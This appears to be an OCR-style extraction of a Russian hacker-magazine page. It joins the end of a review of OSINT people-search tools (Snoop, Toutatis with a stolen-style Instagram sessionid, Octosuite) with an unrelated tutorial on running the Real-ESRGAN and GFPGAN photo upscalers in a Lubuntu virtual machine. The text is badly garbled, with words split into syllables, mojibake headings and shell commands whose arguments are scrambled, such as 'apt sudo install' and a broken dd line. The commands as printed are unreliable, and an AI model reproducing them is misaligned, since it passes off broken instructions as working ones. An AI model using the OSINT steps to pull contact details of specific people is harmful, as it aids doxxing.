В качес тве тес та я покажу поиск по Instagram, Telegram и GitHub. Выбира ем
для начала Instagram, вби ваем ник нейм иско мого челове ка и смот рим
на резуль таты.

По иск по Instagram

Ре зуль таты для Telegram, увы, выг лядят очень скуд но: фак тичес ки все
это мож но пос мотреть и самос тоятель но в любом кли енте. Даже ID акка унта
не выводит ся, что сов сем уж ни в какие ворота не лезет. Зато есть воз- 
можность ска чать ава тар ку, если она тебе по какой-нибудь при чине вдруг
понадо бит ся.

По иск по Telegram

Ин форма ции про GitHub уже куда боль ше, и удоб но, что ее мож но получить
целиком. Смысл от исполь зования однознач но есть.

По иск по GitHub

В целом инс тру мент выда ет доволь но пол ную информа цию (в рам ках дос- 
тупно го через сам сер вис), при этом не тре буя никаких клю чей для дос тупа
к API.

SNOOP PROJECT

Snoop Project — это пер спек тивный инс тру мент, глав ным обра зом полез ный
в стра нах СНГ. Он уме ет искать более чем по 3000 сай тов. Я даже наз вать
не смог бы десятую часть это го, а он уме ет вытас кивать хоть чуть-чуть
информа ции с каж дого из них! Огромный плюс — кросс-плат формен ность.
Snoop мож но спо кой но исполь зовать и на Linux, и на Windows, и даже
на Android (понадо бит ся Termux).

Для уста нов ки заходим на  инс тру мен та, выбира ем
самый акту аль ный релиз и ска чива ем архив для нашей плат формы.

стра ницу релизов

mkdir Snoop 
wget https://github.com/snooppr/snoop/releases/download/V1.3.8_7_
July_2023/Snoop.for.GNU_Linux.rar 
unrar e Snoop.for.GNU_Linux.rar Snoop 

Нем ного уди вило, что автор рас простра няет бинар ник для Linux в виде архи- 
ва RAR. Такое, пожалуй, встре тишь толь ко в Рос сии.

Ска чива ние Snoop

За пус кать при ходит ся не скрипт, который ты можешь открыть и про верить,
а кота в меш ке с непонят ным содер жимым. Пло хо так делать!

Но мы ведь работа ем в вир туал ке, так что нам сам черт не брат. Даем пра- 
ва на запуск и выпол няем:

chmod +x snoop_cli 
./snoop_cli -f username 

Ре зуль таты поис ка

Ре зуль таты поис ка выводят ся не толь ко в тер минал, но и в виде HTML-фай ла,
в котором удоб но сор тировать резуль таты.

Ре зуль таты поис ка

Инс тру мент очень кру той, хоть и не без стран ностей, и ему однознач но есть
мес то при раз нооб разных рас сле дова ниях.

TOUTATIS

 уме ет дос тавать из акка унта в Instagram даже боль ше, чем вид но
в кли енте. Этот скрипт выводит даже кон так тные дан ные, такие как элек трон- 
ная поч та и пос ледние две циф ры номера телефо на. Да, это не так мно го,
как хотелось бы, но полез но, если номер цели уже известен и нуж но лишь
под твержде ние, что это ее акка унт.

Toutatis

Для уста нов ки пот ребу ется толь ко . Нас тоятель но рекомен дую уста- 

нав ливать вер сию 1.3, пос коль ку дру гие ока зались проб лемны ми.

pip

pip 1.3 install toutatis==

Ус танов ка Toutatis

Да лее для работы нам пот ребу ется сес сион ная кука Instagram. Заходим
в спе циаль но соз данный акка унт и копиру ем куку  любым удоб ным
спо собом. Нап ример, нажима ем F12 в Chrome и на вклад ке Storage в раз деле
Cookies будет наш .

sessionid

sessionid

Ко пиру ем его и встав ляем в коман ду для запус ка (аргу мент ).-s

toutatis -u <username> -s <sessionid> 

Вмес то  встав ляем юзер нейм инте ресу ющей нас учет ной записи.<username>

Вы вод информа ции об учет ной записи

Ра бота ет Toutatis отлично, жаль толь ко, что при ходит ся получать session ID
вруч ную. Если бы он авто мати чес ки научил ся это делать, было бы еще при- 
ятнее.

OCTOSUITE

Octosuite нужен для сбо ра информа ции о поль зовате лях, репози тори ях
и орга низа циях на GitHub. Этот скрипт мож но исполь зовать для получе ния
информа ции о раз работ чиках, ком митах, issues и так далее — и все бес плат- 
но, без регис тра ции и SMS. Полез но для тех, кто хочет встро ить как мож но
боль ше инте рес ных инс тру мен тов в свой пай плайн ана лиза ник ней ма, но не
зна ет, как дотянуть ся до GitHub.

Ус танов ка пре дель но прос тая через :pip

pip install octosuite 

Справ ка по коман дам Octosuite дос тупна по клю чу .-h

Спи сок дос тупных аргу мен тов

Для демонс тра ции я забил в аргу мен ты свой ник и пос мотрел, что оно
выведет:

octosuite --method user_profile --username username 

Ко неч но, в Octosuite дос тупны и дру гие фун кции, которы ми мож но пос- 
мотреть спи сок поль зователь ских репози тори ев, информа цию о каж дом кон- 
крет ном репози тории, вклю чая его фор ки, и мно гое дру гое.

ÂÛÂÎÄÛ

Се год няшние пять инс тру мен тов ста нут отличным допол нени ем к тво ему тре- 
вож ному OSINT-чемода ну, хоть и не могут пол ноцен но заменить взрос лые
плат ные решения. Зато некото рые из них допол нят боль шие инс тру мен ты,
которые не работа ют с какими-то из мел ких источни ков. Быва ет полез но!

И конеч но, если ты зна ешь какие-то еще клас сные прог раммы по нашей
теме — пиши в ком мента риях!

mailto:viktorkoen8@gmail.com
https://xakep.ru/2023/07/06/5-osint-utils/
https://github.com/N0rz3/Zehef
https://github.com/snooppr/snoop/releases
https://github.com/megadose/toutatis
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ТРЮКИ

Что бы не слиш ком удач ная фотог рафия
заиг рала новыми крас ками, нуж но дол го
редак тировать ее в «Фотошо пе» или вос- 
поль зовать ся воз можнос тями ней росетей.
В этой статье мы под готовим вир туаль ную
машину VirtualBox с опе раци онной сис- 
темой Lubuntu 16.04, уста новим на нее
прог раммы ней рон ных сетей Real-ESRGAN
и GFPGAN и с их помощью вдох нем вто рую
жизнь в сни мок из ста рого бук лета.

ÏÐÎÑÒÎ ÑÄÅËÀÉ ÌÍÅ ÊÐÀÑÈÂÎ!

Ес ли ты занимал ся фотог рафи ей вооб ще и циф ровой фотог рафи ей в час- 
тнос ти, то не понас лышке зна ком с уси лиями, которые надо при ложить
к исходно му матери алу, что бы зас тавить его «заиг рать крас ками». Сов ремен- 
ный софт поз воля ет при менять к рас тро вым изоб ражени ям эффекты и филь- 
тры, которые в недале ком прош лом были дос тупны лишь кинос туди ям. Одна- 
ко, что бы в пол ной мере вос поль зовать ся все ми воз можнос тями гра фичес ких
редак торов, прос то уста новить Photoshop, GIMP или Paint.NET недос таточ но.
Пот ребу ются спе циаль ные зна ния в области обра бот ки изоб ражений, навыки
прак тичес кого исполь зования при емов кор рекции цве та и устра нения дефек- 
тов, арте фак тов и дру гих страш ных слов. Поэто му если ты не пла ниро вал пос- 
вятить свою жизнь (или как минимум канику лы) фото искусс тву, то для получе- 
ния качес твен ной фотог рафии до недав него вре мени тебе понадо билась бы
помощь про фес сиона лов.

В пос ледние годы тех нологии совер шили зна читель ный ска чок в сфе ре
обра бот ки изоб ражений, приб лизив ший воз можнос ти прог рам мных инс тру- 
мен тов к реали зации магичес кой кноп ки «Прос то сде лай мне кра сиво!».
Как ты уже догадал ся, я имею в виду ней росети, воп лощен ные в про ектах
Real-ESRGAN и GFPGAN. Пер вый из них, Real-ESRGAN, был соз дан
для выпол нения «сле пого суперу вели чения» (Blind Super-resolution, BSR)
изоб ражений низ кого раз решения с утра чен ной информа цией о деталях.
Основной вари ант его прак тичес кого при мене ния сос тоит в четырех крат ном
уве личе нии исходной кар тинки.

Вто рой, GFPGAN, ори енти рован на «сле пое вос ста нов ление лица» (Blind
Face Restoration, BFR), то есть вос ста нов ление изоб ражений челове чес ких
лиц, которые (изоб ражения, а не лица) под вер глись пов режде ниям и иска- 
жени ям неиз вес тной при роды. При сов мес тном исполь зовании с Real-
ESRGAN он допол нитель но про рисо выва ет отдель ные мел кие детали,
которые «ожив ляют» лица.

Об щая часть GAN в наз вани ях про ектов, озна чающая генера тив но-сос- 
тязатель ные сети (Generative Adversarial Network), сооб щает нам о том, что
оба осно ваны на ней рон ных сетях, которые обу чены генери ровать реалис- 
тичные изоб ражения.

Вот ссыл ки на сай ты этих про ектов:
•Real-ESRGAN
•GFPGAN

За меча тель ная осо бен ность этих прог рам мных про дук тов в том, что
для получе ния резуль тата дос таточ но пре дос тавить исходный матери ал,
запус тить про цесс и нем ного подож дать. Никаких допол нитель ных ука заний
отно ситель но спо собов получе ния резуль тата не тре бует ся, все дей стви тель- 
но про исхо дит «по щучь ему велению, по моему хотению». А сам резуль тат
луч ше уви деть на кон крет ном при мере. Для испы тания я взял фотог рафию
Сти ва Джоб са и Джо на Скал ли из статьи Деборы Уайз «Взлет, падение и сно- 
ва взлет ком пании Apple», опуб ликован ной в информа цион ном бук лете 

 «Информа тика в жиз ни США», про ходив шей в 1988–
1989 годах в круп ных городах СССР.

ле- 
ген дарной выс тавки

Фо тог рафия в ска не информа цион ного бук лета — исходный матери ал
для обра бот ки

Пе ред началом работы приш лось обре зать фотог рафию и при дать ей более
естес твен ную ори ента цию, повер нув по часовой стрел ке в обыч ном гра- 
фичес ком редак торе. Пос ле это го мож но прис тупать к магичес ким прев- 
ращени ям. Прев ращение пер вое — четырех крат ное уве личе ние с помощью
Real-ESRGAN. Резуль тат я умень шил в четыре раза и помес тил рядом с ори- 
гина лом, что бы мож но было срав нить на глаз. Тебе не кажет ся, что ней рон ная
сеть еще и выс тирала и выг ладила этим пар ням их рубаш ки и брю ки?

Ори гинал фотог рафии (сле ва) и резуль тат обра бот ки инс тру мен том
Real-ESRGAN (спра ва)

Вро де бы прог ресс уже дос тигнут. Но на фотог рафи ях людей основное вни- 
мание при тяги вают лица, и, сог ласись, было бы неп лохо деталь нее про рабо- 
тать волосы, бро ви, гла за, губы... Веро ятно, в этом смог бы помочь
какой-нибудь худож ник. Но вмес то это го мы вос поль зуем ся вто рым про дук- 
том — GFPGAN, который уме ет дей ство вать в одной связ ке с Real-ESRGAN.
Итак, вто рое прев ращение — про работ ка лиц на фотог рафии.

Ли ца пос ле прос того уве личе ния (ввер ху) и пос ле про работ ки инс тру -
мен том GFPGAN (вни зу)

По-моему, это пол ный успех!  худож ник не нужен!Скри пач

ÍÅÎÁÕÎÄÈÌÎÅ ÎÁÎÐÓÄÎÂÀÍÈÅ

Ре зуль тат хорош, слов нет, но какой ценой его мож но дос тичь? Ты, веро ятно,
в кур се, что для про мыш ленно го исполь зования ней рон ных сетей необ- 
ходимы серь езные вычис литель ные мощ ности — клас терные плат формы
с боль шими хра нили щами дан ных и мощ ными гра фичес кими про цес сорами.
Подой дет, нап ример, май нин говая фер ма вре мен «бит коино вой лихорад ки».
Но если ты не замахи ваешь ся на самос тоятель ное обу чение ней рон ных
сетей, а прос то жела ешь под готовить к печати нес коль ко фотос нимков, то
воз можны вари анты. Нап ример, вос поль зовать ся одним из мно жес тва
появив шихся в интерне те сер висов, пред лага ющих заг рузить фотог рафию
и через 10–20 секунд получить ее улуч шенную вер сию.

Не кото рые сер висы пре дос тавля ют такие услу ги даже бес плат но, но надо
пом нить, что «если вы за это не пла тите, то вы не пот ребитель, вы — про дава- 
емый про дукт». В любом слу чае в этой статье мы не будем обсуждать такой
незатей ливый спо соб, а погово рим луч ше о том, как выпол нить ана логич ную
обра бот ку на тво ем пер сональ ном компь юте ре или ноут буке.

Но вые вер сии Real-ESRGAN и GFPGAN не предъ явля ют спе циаль ных тре- 
бова ний к виде оадап теру (хотя под дер жка Nvidia CUDA при ветс тву ется)
и могут работать на доволь но зауряд ном обо рудо вании. Что бы обра ботать
фотог рафии эти ми инс тру мен тами, твой компь ютер дол жен обла дать сле- 
дующи ми харак терис тиками:

на нем дол жна быть уста нов лена 64-раз рядная вер сия Linux не стар ше
чем Ubuntu 16.04;

•

дол жно быть не мень ше 768 Мбайт по-нас тояще му  опе ратив- 
ной памяти, которая не исполь зует ся ни виде оадап тером, ни опе раци- 
онной сис темой;

• ñâî áîä íîé

дол жно быть не менее 15 Гбайт сво бод ного дис кового прос транс тва.•

ÎÏÅÐÀÖÈÎÍÍÀß ÑÈÑÒÅÌÀ

У тебя 32-раз рядная Windows? Ничего, без выход ных ситу аций не быва ет! Кто
ска зал, что компь ютер не может быть вир туаль ным? Уста нав ливай пос корее
гипер визор VirtualBox, соз давай в нем вир туаль ную машину и не забудь ука- 
зать в ее нас трой ках сле дующие парамет ры:

опе раци онная сис тема: Linux/Ubuntu (64 bit);•
ос новная память: 1024 Мбайт (как минимум, боль ше — луч ше);•
жес ткий диск: 20 Гбайт;•
се тевой адап тер: NAT (с выходом в интернет).•

.
По этой ссыл ке мож но ска чать пос леднюю вер- 
сию VirtualBox для 32-раз рядных Windows

Имей в виду, что для уста нов ки 64-раз рядной гос тевой опе раци онной сис- 
темы про цес сор на тво ем компь юте ре дол жен быть 64-раз рядным и под- 
держи вать аппа рат ную вир туали зацию Intel VT-x или AMD-V.

Для вир туаль ной машины с доволь но скром ными парамет рами подой дет
далеко не вся кий дис три бутив Linux. Сов ремен ная вер сия Ubuntu на 1 Гбайт
ОЗУ не смо жет даже запус тить инстал лятор, о чем я рас ска зывал в 

. Кро ме того, мы не можем раз бра сывать ся опе ратив- 
ной памятью на укра шатель ства рабоче го сто ла, каж дый ее мегабайт пот- 
ребу ется для решения основной задачи. Мне боль ше все го пон равилась
работа Bodhi Linux 4.5 — дис три бути ва, осно ван ного на Ubuntu 16.04, с лег- 
ковес ным рабочим сто лом Moksha. Но у него есть спе цифи чес кие нюан сы
уста нов ки и нас трой ки, поэто му тебе, навер ное, будет про ще вос поль зовать- 
ся Lubuntu 16.04 — вари антом Ubuntu с рабочим сто лом LXDE. Его я тоже
про верил, он впол не при годен для наших целей.

од ной
из пре дыду щих ста тей

.
По этой ссыл ке мож но ска чать образ дис три- 
бутив ного дис ка 64-раз рядной Lubuntu 16.04

С уста нов кой, уве рен, ты спра вишь ся сам. Пос ле уста нов ки обя затель но
обно ви информа цию о содер жимом репози тори ев:

sudo apt update 

Ес ли пла ниру ешь исполь зовать машину не толь ко в качес тве фото уве личи- 
теля, можешь акту али зиро вать уста нов ленное прог рам мное обес печение:

sudo apt upgrade 

Но для наших целей этот шаг не обя зате лен.
Итак, теперь у тебя точ но есть 64-раз рядная опе раци онная сис тема Linux.

Прис тупим к осна щению ее прик ладны ми прог рамма ми. Что бы тебе было
про ще ори енти ровать ся в даль нейших рекомен даци ях, я схе матич но наб- 
росал то, что в ито ге дол жно получить ся.

Ос новные эле мен ты фай ловой струк туры «фото уве личи теля»

На рисун ке чер ным цве том обоз начены катало ги, зеленым — основные
исполня емые фай лы и сце нарии, голубым — сим воличес кие ссыл ки,
а синим — фай лы с дан ными. Серым цве том выделе ны рабочие катало ги,
которые, вооб ще говоря, ты можешь соз давать по сво ему пред почте нию.
Обра ти вни мание, что вся фай ловая струк тура находит ся в катало ге поль- 
зовате ля, поэто му для ее соз дания осо бые при виле гии не нуж ны.

Продолжение статьи →

mailto:r0bur@mail.ru
https://github.com/xinntao/Real-ESRGAN#readme
https://github.com/TencentARC/GFPGAN#readme
https://w.wiki/7dsH
https://download.virtualbox.org/virtualbox/5.2.44/VirtualBox-5.2.44-139111-Win.exe
https://xakep.ru/2022/12/16/linux-low-ram/
https://cdimage.ubuntu.com/lubuntu/releases/16.04/release/lubuntu-16.04.6-desktop-amd64.iso


ИЗОБРЕТАЕМ ПЕРСОНАЛЬНЫЙ
НЕЙРОСЕТЕВОЙ ФОТОУВЕЛИЧИТЕЛЬ

ТРЮКИ  НАЧАЛО СТАТЬИ←

ÑÐÅÄÀ ÈÑÏÎËÍÅÍÈß

Для работы Real-ESRGAN и GFPGAN тре бует ся Python вер сии не стар ше 3.7.
Если на тво ем компь юте ре это тре бова ние выпол няет ся, можешь про пус тить
этот раз дел. Но если ты хочешь соб рать весь набор прог рам мно го обес- 
печения для «пер сональ ного ней росете вого фото уве личи теля», что бы потом
быс тро раз вернуть этот набор на осно ве раз нооб разных дис три бути вов
Linux, то советую не отвле кать ся и про делать опи сан ные здесь шаги.

Нап ример, Ubuntu 16.04 пос тавля ется с Python 3.5, который доволь но
силь но интегри рован с опе раци онной сис темой, и замена вер сии может при- 
вес ти к неп ред ска зуемым пос ледс тви ям. Поэто му давай соберем Python
3.8 и уста новим его в качес тве допол нитель ного поль зователь ско го интер- 
пре тато ра, не зат рагивая сис темный.

Сна чала уста нови из репози тори ев допол нитель ные пакеты, которые нуж- 
ны для сбор ки интер пре тато ра и его допол нений, в соот ветс твии с 

 для тво ей вер сии опе раци онной сис темы.
Для Ubuntu 16.04 это мож но выпол нить сле дующей коман дой:

ре комен- 
даци ями раз работ чиков

apt sudo install build-essential gdb lcov pkg-config \
libbz2-dev libffi-dev libgdbm-dev liblzma-dev \
libncurses5-dev libreadline6-dev libsqlite3-dev libssl-dev \
lzma lzma-dev tk-dev uuid-dev zlib1g-dev 

Из сети будет заг ружено 63,5 Мбайт архи вов. В более новых вер сиях в этот
спи сок надо добавить пакет .libgdbm-compat-dev

За тем заг рузи с офи циаль ного сай та исходные тек сты интер пре тато ра
(26 Мбайт) и рас пакуй их:

wget https://www.python.org/ftp/python/3.8.18/Python-3.8.18.tgz 
 tar -xzf Python-3.8.18.tgz 

По том скон фигури руй их для уста нов ки интер пре тато ра в поль зователь ский
каталог , ском пилируй и выпол ни уста нов ку:~/.local

cd Python-3.8.18 
./configure --prefix=$HOME/.local --enable-optimizations
make 
make install

Про верь, как прош ла уста нов ка:

 

 

$ ~/.local/bin/python3.8 --version 
Python 3.8.18 
$ ~/.local/bin/pip3.8 --version 
pip23.0.1 from ~/.local/lib/python3.8/site-packages/pip (python 3.8)

Ес ли всё в поряд ке, можешь уда лить исходные тек сты интер пре тато ра
и рабочие фай лы:

 .. cd
 rm -fr Python-3.8.18 Python3.8.18.tgz 

В дис три бути вах Ubuntu путь 
при сутс тву ет в перемен ной окру жения 
и явля ется при ори тет ным. Поэто му запус кать
интер пре татор мож но без ука зания путево го пре- 
фик са. В иных слу чаях мож но либо добавить ука- 
зан ный путь в начало зна чения перемен ной

, либо запус кать исполня емые фай лы
по пол ному име ни: 

, . В даль нейшем
изло жении будет исполь зовать ся сок ращен ный
вари ант, а ты раз берись, какой тре бует ся в тво ей
опе раци онной сис теме, и дей ствуй соот ветс твен- 
но.

~/.local/bin
PATH

PATH
~/.local/bin/python3.

8 ~/.local/bin/pip3.8

Нуж ная вер сия Python теперь тоже в наличии. Но преж де чем перехо дить
к уста нов ке основных прог рамм «фото уве личи теля», надо убе дить ся, что
рабочей памяти компь юте ра для это го дос таточ но. Узнать име ющиеся ресур- 
сы мож но с помощью такой коман ды:

free -h

Сло жи зна чение в пос ледней колон ке стро ки  ( ) со зна чени ем

в пос ледней колон ке стро ки  ( ). Если получи лось боль- 
ше 2560 Мбайт (2,5 Гбайт), то сле дующий раз дел можешь про пус тить. В про- 
тив ном слу чае при дет ся уве личить вир туаль ную память опе раци онной сис- 
темы.

Mem available
Swap free

Óâåëè÷åíèå âèðòóàëüíîé ïàìÿòè
Как ты зна ешь, вир туаль ная память Linux пред став лена физичес кой опе ратив- 
ной памятью и памятью стра нич ной под качки на внеш нем носите ле —
выделен ном раз деле жес тко го дис ка или в спе циаль ном swap-фай ле. Если
во вре мя работы при ложе ния опе ратив ная память исчерпы вает ся, опе раци- 
онная сис тема исполь зует механизм под качки, переме щая неис поль зуемые
стра ницы на внеш ний носитель и заг ружая с него стра ницы c дан ными,
которым тре бует ся обра бот ка. Про дол житель ную активную работу в таком
режиме хорошо харак теризу ют сло ва из пес ни В. С. Высоц кого: «это не езда,
а ерзанье».

Но в нашем слу чае уве личе ние и исполь зование вир туаль ной памяти —
оправдан ный спо соб решения пос тавлен ной задачи, и вот почему. При нас- 
трой ке «фото уве личи теля» я обна ружил, что исчерпа ние памяти воз ника ет
в сле дующих ситу ациях:

при уста нов ке допол нитель ных модулей Python (о них речь пой дет ниже),
ког да прог рамма  исполь зует опе ратив ную память в качес тве буфера
и нет никаких проб лем в том, что бы поз волить опе раци онной сис теме
кеширо вать заг ружа емые из сети дан ные на диск;

•
pip

при ини циали зации ней рон ных сетей и фор мирова нии фай лов с резуль- 
татами работы, что явля ется нез начитель ным фраг ментом обще го объ ема
работы.

•

Для основно го про цес са обра бот ки изоб ражений заяв ленных 768 Мбайт сво- 
бод ной опе ратив ной памяти впол не дос таточ но.

При уста нов ке на вир туаль ную машину с 1024 Мбайт ОЗУ опе раци онной
сис темы Lubuntu 16.04 авто мати чес ки соз дает ся раз дел под качки раз мером
око ло гигабай та. Для работы «фото уве личи теля» это го мало. Поэто му соз- 
дадим swap-файл раз мером 2048 Мбайт (2 Гбайт) и добавим его к име ющей- 
ся вир туаль ной памяти (все коман ды запус каем от рута):

swapoff -a
2048 dd if=/dev/zero of=/swapfile bs=1024k count=

chmod 0600 /swapfile 
mkswap /swapfile 
swapon -a
swapon /swapfile 

При веден ная выше пос ледова тель ность команд начина ется с отклю чения
памяти под качки ( ), что бы эти дей ствия мож но было без изме нений
выпол нять на опе раци онных сис темах, исполь зующих не раз дел, а файл под-
качки, то есть . Кста ти, в этом слу чае пос ледняя коман да сооб щит

об ошиб ке , пос коль ку файл
под качки уже будет задей ство ван пре дыду щей коман дой. Про кон тро лиро- 
вать, какие имен но хра нили ща под качки исполь зуют ся, мож но с помощью
коман ды  без парамет ров.

swapoff

/swapfile
swapon failed: Device or resource busy

swapon

ÍÅÉÐÎÑÅÒÈ «ÔÎÒÎÓÂÅËÈ×ÈÒÅËß»

Про екты GFPGAN и Real-ESRGAN исполь зуют вспо мога тель ные ресур сы:
, Basic Super Restoration — прог рам мное обес печение для вос ста- 

нов ления качес тва фото- и виде ома тери алов;
• BasicSR

 — реали зации алго рит мов для работы с лицами людей на фотог- 
рафи ях (обна руже ние, вырав нивание, выделе ние основных эле мен тов
и про чее).

• FaceXLib

За реали зацию всей скуч ной матема тики ней рон ных сетей на цен траль ных
и гра фичес ких про цес сорах отве чает пакет . Уста новим эти вспо мога- 
тель ные пакеты Python:

PyTorch

pip3.8 install basicsr --cache ~/pipcache 
pip3.8 install facexlib --cache ~/pipcache 

Кеш исполь зует ся для того, что бы заг рузка пакетов не начина лась заново,
если по каким-то при чинам она будет прер вана, а про дол жалась с мес та
оста нов ки.

Имей в виду, что BasicSR со все ми сво ими зависи мос тями занима ет боль- 
ше 4 Гбайт и заг рузка этих дан ных из сети даже в сжа том виде может пот- 
ребовать зна читель ного вре мени.

Не исклю чено пре рыва ние про цес са с сооб щени ем об ошиб ке:

Collecting torch >= 1.7 
ERROR: Exception:
... 
MemoryError 

Это зна чит, что надо вер нуть ся к пре дыду щему раз делу и про верить исполь- 
зование памяти. Воз можно, ты перезаг ружал компь ютер и забыл сно ва под- 
клю чить файл под качки.

По завер шении уста нов ки вспо мога тель ных пакетов содер жимое катало га
 уве личит ся до 5 Гбайт, а в кеше  будет находить- 

ся 2,4 Гбайт дан ных, которые теперь мож но уда лить:
~/.local ~/pipecache

 rm -fr ~/pipcache 

Ус тановим основное прог рам мное обес печение GFPGAN и Real-ESRGAN
пря мо из Git-репози тори ев:

apt git sudo install 
 mkdir ~/GAN && cd ~/GAN 

git clone https://github.com/xinntao/Real-ESRGAN.git 
git clone https://github.com/TencentARC/GFPGAN.git 

Это не зай мет мно го вре мени, а пос ле завер шения уста нов ки в нашем
катало ге  появят ся под катало ги  и , занима- 
ющие 25 и 24 Мбайт соот ветс твен но.

~/GAN GFPGAN Real-ESRGAN

Что бы пре дот вра тить в даль нейшем уста нов ку допол нитель ного модуля
Python и исполь зовать уже име ющиеся фай лы, соз дадим ссыл ку на рабочий
каталог .gfpgan

cd ~/.local/lib/python3.8/site-packages 
 ln -s ../../../../GAN/GFPGAN/gfpgan 

Те перь давай нас тро им уста нов ленное прог рам мное обес печение:

cd ~/GAN/GFPGAN 
python3.8 setup.py develop 
cd ~/GAN/Real-ESRGAN 
python3.8 setup.py develop 
 ln -s ../GFPGAN/gfpgan 

Пос ледняя коман да соз дает в катало ге  ссыл ку, что бы избе жать

дуб лирова ния весов моделей GFPGAN.

Real-ESRGAN

На этом уста нов ка и нас трой ка прог рам мно го обес печения «фото уве личи- 
теля» завер шена. Оста лось выпол нить пос ледний шаг под готови тель ного
эта па — заг рузить «модели», то есть веса ней рон ных сетей, заранее вычис- 
ленные в ходе их обу чения. Если это го не сде лать, то при пер вом исполь- 
зовании прог рамм GFPGAN и Real-ESRGAN они будут заг ружены авто мати- 
чес ки. Но мож но сох ранить кон троль над про цес сом и вруч ную выпол нить
сле дующие коман ды:

 

 

$ cd ~/GAN 
$ wget 
https://github.com/TencentARC/GFPGAN/releases/download/v1.3.0/GFPGANv1.3
.pth -P GFPGAN/gfpgan/weights 
$ wget 
https://github.com/xinntao/facexlib/releases/download/v0.1.0/detection_R
esnet50_Final.pth -P GFPGAN/gfpgan/weights 
$ wget 
https://github.com/xinntao/facexlib/releases/download/v0.2.2/parsing_par
senet.pth -P GFPGAN/gfpgan/weights 
$ wget https://github.com/xinntao/Real-
ESRGAN/releases/download/v0.1.0/RealESRGAN_x4plus.pth -P Real-
ESRGAN/weights

Будь вни мате лен при ука зании пути к целево му катало гу. Если допус тишь
опе чат ку, wget без пре дуп режде ния соз даст новый под каталог и выпол нит
заг рузку дан ных в него. Естес твен но, потом прог рам мное обес печение
«фото уве личи теля» не смо жет обна ружить такой файл.

Фай лы с весами для ней рон ных сетей GFPGAN
и Real-ESRGAN име ют сле дующие раз меры:

GFPGANv1.3.pth — 332 Мбайт;•
detection_Resnet50_Final.pth — 104 Мбайт;•
parsing_parsenet.pth — 81 Мбайт;•
RealESRGAN_x4plus.pth — 64 Мбайт.•

ÁÎÐÜÁÀ Ñ ÏÐÎÃÐÅÑÑÎÌ

Ка залось бы, теперь-то все готово к тому, что бы занять ся обра бот кой фотог- 
рафий. Дей стви тель но, у меня нас тро енный по опи сан ной методи ке «фото- 
уве личи тель» сра зу же зарабо тал. Но ког да я через нес коль ко дней про верял
инс трук цию при работе над этой стать ей, пов торно выпол няя все дей ствия,
меня под жидал сюр приз. Прог рам мное обес печение GFPGAN отка зыва лось
работать, сооб щая об ошиб ке:

 

 

ImportError: urllib3 v2.0 only supports OpenSSL 1.1.1+, currently 
the 'ssl' module is compiled with 'OpenSSL 1.0.2g 1 Mar 2016'. 
See: https://github.com/urllib3/urllib3/issues/2168

Вот тебе на! Ока залось, что, при няв решение об исполь зовании уста рев шей
опе раци онной сис темы, мы всту пили на сколь зкую дорож ку. За эти нес коль ко
дней Python-модуль google-auth, по какой-то при чине вхо дящий в сос тав
зависи мос тей прог рам мно го обес печения «фото уве личи теля», обно вил ся
до вер сии 2.0.5 и решил зап ретить исполь зование уста рев ших крип тогра- 
фичес ких про токо лов, под няв тре бова ния к сис темной биб лиоте ке OpenSSL.
Но для Ubuntu 16.04 ожи дать обновле ний уже не при ходит ся.

Со бирать эту биб лиоте ку из исходни ков, как мы сде лали с Python 3.8? Это,
конеч но, один из вари антов. Но, если хорошень ко подумать, зачем нам
google-auth и сетевая безопас ность на вир туаль ной машине, которая соз- 
давалась спе циаль но для локаль ной обра бот ки фотог рафий? Луч ше пой дем
дру гим путем и уста новим уста рев ший модуль google-auth вер сии 1.26.16:

 

 

$ pip3.8 install urllib3=1.26.16 
ERROR: ... google-auth 2.23.1 requires urllib>=2.0.5 
Successfully installed urllib3-1.26.16

Не будет работать google-auth? Не очень-то и хотелось! Глав ное, что сам
«фото уве личи тель» пос ле это го запус кает ся. Одна ко как быть в даль нейшем?
Прог ресс ведь не оста новишь, и поезд с модуля ми Python будет все даль ше
ухо дить от Ubuntu 16.04. Поэто му рекомен дую тебе сох ранить уста нов ленный
набор прог рамм в архи ве :GAN_U1604.tgz

 ~ cd
 tar -zcf GAN_U1604.tgz .local GAN 

Имея сни мок работа юще го вари анта «фото уве личи теля», тебе не сос тавит
тру да при необ ходимос ти раз вернуть его на све жеус танов ленной вир туаль- 
ной машине. Тем самым ты сбе режешь себе не толь ко нер вы, но и вре мя,
необ ходимое для заг рузки дан ных из сети и пос леду ющей нас трой ки.

Воз можно, у тебя воз ник воп рос, как нас тро ить обмен фай лов меж ду вир- 
туаль ной машиной и компь юте ром с гипер визором. VirtualBox пред лага ет
исполь зовать допол нение, проб расыва ющее пап ки фай ловой сис темы
компь юте ра в вир туаль ную машину. Но я пред почитаю более уни вер саль ный
спо соб — сетевой обмен по про токо лу FTP. Поч ти любая опе раци онная сис- 
тема, уста нов ленная на вир туаль ной машине, содер жит в сво ем сос таве тот
или иной FTP-кли ент, а под нять на компь юте ре FTP-сер вер и нас тро ить бран- 
дма уэр — задача, которую нуж но решить один раз. Кста ти, я исполь зую сер- 
вер, который реали зует ути лита « », запус кая его
при необ ходимос ти:

Швей цар ский фай ловый нож

C: 21  D: TP \> sfk.exe ftpserv -port= -rw \F

В таком вари анте исполь зования сер вер откры вает пол ный дос туп к катало гу
 при вво де любого име ни поль зовате ля и пароля, поэто му пос ле

переда чи фай лов его работу нуж но завер шить ком бинаци ей кла виш Ctrl + C.

D:\FTP

Кста ти, не забудь перед переда чей фай лов перек лючить в нас трой ках вир- 
туаль ной машины сетевой адап тер из режима «NAT» в режим «Вир туаль ный
адап тер хос та».

ÎÁÐÀÁÎÒÊÀ ÔÎÒÎÃÐÀÔÈÉ

Итак, все ингре диен ты соб раны и сме шаны, мож но прис тупать к вол шебс тву.
Не откла дывая дела в дол гий ящик, сра зу выпол ним уве личе ние фотог рафии
с отсти рыва нием и раз гла жива нием одеж ды при сутс тву ющих на ней пер- 
сонажей, а заод но про рабо таем детали их лиц. В этом нам поможет Real-
ESRGAN, который сам обра тит ся за допол нитель ными услу гами худож ника
к GFPGAN. Исходные фотог рафии (фай лы в фор мате JPEG или PNG) помес- 
тим в каталог , а резуль тат пусть сох раня ется в катало ге .

Обра бот ка запус кает ся сле дующим обра зом:

~/GAN/in ~/GAN/out

cd ~/GAN/Real-ESRGAN 
 64  python3.8 inference_realesrgan.py -i ../in -o ../out -t --fp32

--face_enhance

В ходе ини циали зации «уве личи теля» появит ся серия сооб щений с пре дуп- 
режде ниями, а при неболь шом объ еме опе ратив ной памяти нач нется
активный стра нич ный обмен с фай лом под качки. Но через минуту-дру гую
ситу ация дол жна ста били зиро вать ся, а на экра не  попол зут отсче ты
